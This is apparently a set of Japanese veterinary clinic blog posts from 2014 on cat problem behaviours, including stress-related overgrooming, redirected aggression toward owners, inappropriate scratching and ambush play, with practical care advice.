    しかし、皮膚病を治療したとしてもそのストレスを見つけて取り除いてあげないと、再発を繰り返すことになります。

    根本治療は明確で、原因となっているストレスの除去にありますが、そのストレスを見つけだすことが困難な場合改善できません。

    一般的に人間で起こる心因性の円形脱毛症に相当する皮膚病は、動物には無いと言われてきましたが、猫の過剰グルーミングによる脱毛は、心因性という点では、似ていると言えるかもしれません。

    猫の問題行動の治療は犬と違い明確な治療と呼べるものが無く、むしろ、原因となる事や物を事前に排除したり、猫の特異な生活様式に基づく行動には、代替を与えることで解決する事が、多かったりするといった点から考えると、治療と言うよりも予防行為と位置づける方が、正しいのかもしれません。

    猫の問題行動を回避する為には、私を含め、猫の飼い主であるみなさんが、より猫の行動特性を理解し、常に猫の行動について先回りして、考える癖をつけるように心がける必要があるかもしれません。

    ですが、個人的には、猫の後を追い回して、世話をしている方が、猫の飼い主らしいなぁと自分では、思っています。

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    猫の問題行動 :転嫁行動 https://honmokudori.com/blog/185 https://honmokudori.com/blog/185#respond Wed, 09 Apr 2014 13:43:58 +0000 http://honmokudori.com/blog/?p=185 経験上、転嫁行動の相談件数自体は少ないものの、程度によっては深刻なケース(飼育不能)になる場合があります。 少し状況の説明が難しいのですが、頑張って想像してみてください。 猫が家内にいる状況下で、自らのなわばりと認識  ...続きを読む

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    経験上、転嫁行動の相談件数自体は少ないものの、程度によっては深刻なケース(飼育不能)になる場合があります。

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    少し状況の説明が難しいのですが、頑張って想像してみてください。

    猫が家内にいる状況下で、自らのなわばりと認識している敷地内(外に出ることがあってもなくても)に他の猫が居るのを窓越しに見つけた場合などに、猫は警戒態勢になります。

    通常は、直接相手を威嚇するなどして、追い払うなどの行動に移れるのですが、屋内に居るため、追い払い行動が不可能な状況となります。

    そうすると猫は、ストレスとパニックとが混じり合った複雑な興奮状態へと一時的に陥り、その際、近くにたまたま飼い主がいた場合、代償行為として飼い主へ攻撃(転嫁)することがあります。

    この一時的なことでも猫の性格、興奮の程度によって、飼い主の方がひどい怪我を負うことがあります。

    そして、この興奮が一時的であれば、時間の経過と共に薄まり、収まって一過性のこととして終わるのですが、極々稀に、この興奮が持続状態となり、連続して飼い主の方を攻撃するようになったり、外にいる猫を見ることが条件付けとなり、そのたびに飼い主の方を攻撃するようになり、ひどい場合には持続的に攻撃し続けることとなります。

    このような状態に陥る猫は、遺伝的素因があると考えられていますが、遺伝的素因が原因である場合は、現在のところ治療法は確立していません。

    経験上、相談を受けた猫の種類、毛色に偏りがあるので、遺伝的素因が少なからず絡んでいる可能性が高いのではと私自身も考えています。

    この案件がエスカレートしていくと、飼育が困難になるか、不能となります。

    私は、潜在的にこうした猫の数は、実は多いのではないかと考えています。
    ただ、こうした猫たちは、猫の飼い主特有の寛容さに救われているのだと思います。

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    猫の問題行動 :不適切な場所での爪研ぎ https://honmokudori.com/blog/181 https://honmokudori.com/blog/181#respond Tue, 08 Apr 2014 13:40:02 +0000 http://honmokudori.com/blog/?p=181 爪を研ぐという行為自体は猫にとって、生活の一部であり、習慣でもあります。 しかし、飼い主にとっては、猫のお気に入りの爪研ぎ場所が、とても困る場所だったりします。 この問題行動は、基本的に市販の爪研ぎ器を与えることで解  ...続きを読む

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    爪を研ぐという行為自体は猫にとって、生活の一部であり、習慣でもあります。
    しかし、飼い主にとっては、猫のお気に入りの爪研ぎ場所が、とても困る場所だったりします。

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    この問題行動は、基本的に市販の爪研ぎ器を与えることで解決できることが多いようです。
    ただ、猫は、個々に爪研ぎをする場所の高さ、材質、傾き具合など好みが様々なので、なるべく猫の好みに合うものをご購入されることをお奨めします。

    また、段ボールタイプのものなどは、猫とって微妙な爪の引っかかり具合があるらしいので、ある程度使用したら交換する必要があります。
    交換のタイミングが悪いと、また、猫の好きな場所で、爪研ぎをされてしまうことになるので注意が必要です。

    余談ですが、一説では、猫は爪研ぎ時に手のひらから一種のフェロモンを分泌していて、その場所にマーキングをしているといわれています。

    また、年をとると段々と爪研ぎをしなくなる傾向になります。そうすると古い爪が残り、爪の根本に分泌物や汚れが付着して、より爪を収納しづらくなり、やがて、歩いているときに音がするようになります。こういった状態が、長く続くと、爪周囲に炎症を起こしてしまう猫もいます。

    ですから、老齢の猫では、定期的に爪切りをして、古い爪を落として、爪研ぎの代わりをしてあげると良いでしょう。
    もちろん、ご家庭で爪切りができない場合は、動物病院にご相談ください。

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    猫の問題行動 :飼い主の方を後ろから襲う https://honmokudori.com/blog/176 https://honmokudori.com/blog/176#respond Tue, 25 Mar 2014 02:24:29 +0000 http://honmokudori.com/blog/?p=176 猫が飼い主を後ろから襲うというのは、幼猫や若い猫を一匹で室内飼いしている場合にみられる問題行動です。 本来、猫はプレデター(捕食動物)ですので、狩りの練習対象として飼い主が選ばれてしまった事が原因です。 この問題行動  ...続きを読む

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    猫が飼い主を後ろから襲うというのは、幼猫や若い猫を一匹で室内飼いしている場合にみられる問題行動です。

    本来、猫はプレデター(捕食動物)ですので、狩りの練習対象として飼い主が選ばれてしまった事が原因です。
    この問題行動は、対象を飼い主からおもちゃなどへ転換させることで解決できることが多いです。
    更に、一緒に遊ぶ時間が増えることで、より仲良くなれるかもしれません。

    余談ですが、このような猫たちと手をおもちゃの代わりにして遊ぶと、猫にとって手は攻撃をしても良いものと理解してしまうので、必ず、猫にも人間にも安全なおもちゃを選んで一緒に遊んであげてください。

    おもちゃを使って一人(一匹)で遊べるようになれたら、あまり構わなくても大丈夫となり、問題解決といえるでしょう。
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